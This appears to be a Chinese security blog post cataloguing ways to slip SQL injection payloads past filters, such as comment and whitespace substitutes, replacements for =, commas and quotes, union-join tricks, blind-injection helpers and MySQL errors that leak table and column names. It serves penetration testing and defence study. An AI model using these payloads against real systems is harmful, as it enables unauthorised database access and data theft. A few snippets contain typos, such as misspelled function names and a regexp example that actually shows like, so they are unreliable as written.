sql注入bypass

平时遇到的sql注入基本上都会存在过滤,这里讲讲如何绕过,主要是一些关键字的功能替换。

sql中的注释

1
--+、 #、 %23、 -- -、 %00、 `、 //、 /* */

sql中的可执行注释:/*!...*/,注释当中的语句会被 MySQL 正常解析和执行,但在其他数据库管理系统将被作为注释忽略。

代替空格的多种方式

\t:Tab键

+

1
select+pass+from+user+where+id=1

/**/、/*xxx*/

1
select/**/pass/**/from/**/user/**/where/**/id=1

%20、%09、%0b、%0d、%0a

1
select%0apass%0afrom%0auser%0awhere%0aid=1

SQLite3:0A 0D 0C 09 20
MySQL5:09 0A 0B 0C 0D A0 20
PosgresSQL:0A 0D 0C 09 20
Oracle 11g:00 0A 0D 0C 09 20
MSSQL:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

@ (select之后)

1
union select@1,2,3

select A from B 的空格

select Afrom B 默认from后面必须是空格再加表名,因此为了不让你使用from可能正则表达式会检测后面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格

1
2
select A,1 from B  ==> select A,1E0fromB
select A,1 from B ==> select A,1.0fromB

使用括号(空格被过滤)

1
2
3
select pass from admin where id=1   ==> select(pass)from(admin)where(id=1)

union select pass from admin where id=1 ==>union(select(pass)from(admin)where(id=1))

等号被过滤的多种代替方式

<>与!结合

1
2
3
select pass from user where !(id<>1)

!(ascii(substr((select password from admin) from 1))<>53)

like代替

1
2
3
select pass from user where id =1  ==> select pass from user where id like 1

id=1'and 1=1 ==> id=1'and 1 like 1

in代替

1
2
3
select pass from user where id=1  ==> select pass from user where id in(1)

id =1' and 1=1 ==> id=1' and 1 in(1)

regexp代替 (正则)

1
2
3
select pass from user where id =1  ==> select pass from user where id regexp 1

id=1'and 1=1 ==>id=1'and 1 like 1

使用异或(and和or被过滤)

mysql中的异或运算符为^xor(如果or被过滤了,xor也没用)。

异或原理:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null。

在sql注入中常用于盲注。

1
2
3
4
select * from user where name ='$Input'

$Input = admin'^(0)# ==>真^假=真
$input = admin'^(1)# ==>真^真=假

使用join(union select中逗号被过滤)

1
2
select * from users union select 1,2,3
select * from users union select * from (select 1)a join (select 2)b join (select 3)c

使用greatest函数 (大于小于符号被过滤)

greatest(a,b) 返回大的那个数

1
2
greatest(a,1)=a     ==> a>=1
greatest(ascii(substr('abc',1,1)),50)=50 => ascii(substr('abc',1,1)<=50

使用hex编码(在引号被过滤时要传递字符串时使用)

1
2
select "abc"     == select 0x616263
select column_name from information_schema.columns where table_name=0x616263

使用char函数(在引号被过滤时要传递字符串时使用)

1
2
select char(97);       ==>  select 'a';
select char(97,98,99); ==> select 'abc'

字符串截取函数

substr(str,index,len) 截取str,从index开始,截取长度为len

1
surstr("123",1,1)     ==>1

substring(str,index,len) 截取str,从index开始,截取长度为len

1
surbtring("123",1,1)     ==>1

mid(str,index,len) 截取str,从index开始,截取长度为len

1
mid("123",1,1)     ==>1

insert(str,pos,len,newstr) 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。 pos从1开始

1
insert(str,len,1,0x0)`可当做截取函数:`substr(str, 1, len)  <==>   insert(str, len+1, length(str), "")

left(str,len) 截取str,从左边第一个开始截取,截取长度为len

1
left("123",2)     ==>12

right(str,len) 取str,从右边第一个开始截取,截取长度为len

1
right("123",2)     ==>23

rpad(str, len, padstr) 在 str 右方补齐 len 位的字符串 padstr,返回新字符串。
如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。同理还有lpad()

1
rpad("123", 1, 1)    => 1

trim(Afrom(B)) 把字符串B中的A删去,返回剩余部分

conv(,10,36)代替字母

conv函数进行进制转换,而36进制包含了所有的字母

1
2
conv(10,10,36) ==> A
lower(conv(10,10,36/16s)) ==> a

union+join(逗号被过滤)

1
2
select 1,2,3,4 union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
==> select 1,2,3,4 union select 1,2,3,4

bool盲注可以用的

position('ro'in user())
locate('ro',user())

mysql特性

当使用自定义函数不存在的时候会报错显示出库的名字

1
select a() from users   ==>  FUNCTION dvwa.a does not exist

当查找重复的列的时候会报错显示出列的名字

1
union select * from (select * from users as A join users) as C  ==>Duplicate column name 'user_id'
文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2022/03/04/web安全/sql注入bypass/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog